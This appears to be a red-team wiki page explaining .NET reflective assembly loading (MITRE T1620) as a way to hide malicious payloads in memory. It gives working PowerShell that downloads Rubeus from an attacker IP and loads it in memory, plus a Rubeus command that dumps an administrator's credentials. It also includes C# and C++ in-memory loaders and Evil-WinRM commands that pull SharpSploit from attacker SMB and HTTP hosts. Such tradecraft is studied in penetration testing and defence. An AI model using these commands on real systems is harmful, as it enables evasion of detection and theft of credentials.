.NET Reflective Assembly

MITRE ATT&CK™ Reflective Code Loading - Technique T1620

Theory

We may reflectively load .NET code (exe or dll) into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process without calling the standard Windows APIs.

Practice

Powershell

We can implement Reflective Assembly Loading throught powershell to load the .NET assembly of a exe/dll using [System.Reflection.Assembly]

When reflectively loading .NET assembly (exe or dll), we have access to all it's classes and methods directely from powershell.

We can find lot of C# offensive tools on the SharpCollection Github repository that we may reflectively load. As example, we will take Rubeus.

On the Windows Tartget, via powershell, load the .NET assembly:

#Load assembly from memory
$data=(New-Object Net.Webclient).DownloadData("http://<ATTACKING_IP>/Rubeus.exe")
[System.Reflection.Assembly]::Load($data)

#Load assembly from disk
[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\Rubeus.exe"))

We can now call its methods

[Rubeus.Program]::Main("dump /user:administrator".Split())

C#

We can implement Reflective Assembly Loading in C# and load the .NET assembly of a exe/dll.

Here is a simple code to load a .NET assembly (exe or dll) in memory from C# using the Assembly.Load() method

using System;
using System.IO;
using System.Reflection;

namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {

            Byte[] fileBytes = File.ReadAllBytes("C:\\Tools\\JustACommandWithArgs.exe");

            string[] fileArgs = { "arg1", "arg2", "argX" };

            ExecuteAssembly(fileBytes, fileArgs);
        }

        public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
        {
            // Load the assembly
            Assembly assembly = Assembly.Load(assemblyBytes);
            // Find the Entrypoint or "Main" method
            MethodInfo method = assembly.EntryPoint;
            // Get the parameters
            object[] parameters = new[] { param };
            // Invoke the method with its parameters
            object execute = method.Invoke(null, parameters);
        }
    }
}

Compile it, and execute it

PS > AssemblyLoader.exe
Hi arg1!
Hi arg2!
Hi argX!

C/C++

It possible to inject .NET assemblies (.exe and .dll) into an unmanaged process (not C# process) and invoke their methods.

Common Language Runtime (CLR) is the name chosen by Microsoft for the virtual machine component of the .NET framework. It is Microsoft's implementation of the Common Language Infrastructure (CLI) standard, which defines the execution environment for program code.

At a high level, it works as follows:

  1. CLRCreateInstance is used to retrieve an interface ICLRMetaHost

  2. ICLRMetaHost->GetRuntime is used to retrieve ICLRRuntimeInfo interface for a specified CLR version

  3. ICLRRuntimeInfo->GetInterface is used to load the CLR into the current process and retrieve an interface ICLRRuntimeHost

  4. ICLRRuntimeHost->Start is used to initialize the CLR into the current process

  5. ICLRRuntimeHost->ExecuteInDefaultAppDomain is used to load the C# .NET assembly and call a particular method with an optionally provided argument

  • managed.cs is a C# program that is loaded by the unmanaged process.

  • unmanaged.cpp is a C++ program that loads a C# assembly (managed.exe). It invoks via ExecuteInDefaultAppDomain the spotlessMethod method from the C# assembly

unmanaged.cpp
// code stolen from https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process
#include <iostream>
#include <metahost.h>
#include <corerror.h>
#pragma comment(lib, "mscoree.lib")

int main()
{
    ICLRMetaHost* metaHost = NULL;
    ICLRRuntimeInfo* runtimeInfo = NULL;
    ICLRRuntimeHost* runtimeHost = NULL;
    DWORD pReturnValue;

    CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost);
    metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo);
    runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost);
    runtimeHost->Start();
    HRESULT res = runtimeHost->ExecuteInDefaultAppDomain(L"C:\\labs\\Csharp\\managed.exe", L"managed.Program", L"spotlessMethod", L"test", &pReturnValue);
    if (res == S_OK)
    {
        std::cout << "CLR executed successfully\n";
    }
    
    runtimeInfo->Release();
    metaHost->Release();
    runtimeHost->Release();
    return 0;
}

Compile it and execute it

PS > unmanaged.exe
Hi from CLR
CLR executed successfully

Tools

If we can access the target through WinRM, we can use the built-in commands to load dll libraries and binaries in memory.

Dll-Loader

We can use Dll-Loader to load dll in memory. The dll file can be hosted by smb, http or locally. Once it is loaded type menu, then it is possible to autocomplete all functions.

#Load dll from the victime disk
*Evil-WinRM* PS C:\> Dll-Loader -local -path C:\Users\Pepito\Desktop\SharpSploit.dll

#Load dll from SMB server
*Evil-WinRM* PS C:\> Dll-Loader -smb -path \\<ATTACKING_IP>\Share\SharpSploit.dll

#Load dll from HTTP server
*Evil-WinRM* PS C:\> Dll-Loader -http -path http://<ATTACKING_IP>/SharpSploit.dll

#Call methods
*Evil-WinRM* PS C:\> [SharpSploit.Enumeration.Host]::GetProcessList()

Invoke-Binary

We can use Invoke-Binary to load a local (on attacking host) .NET binary in memory.

#Load local .NET binary
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

Resources

Last updated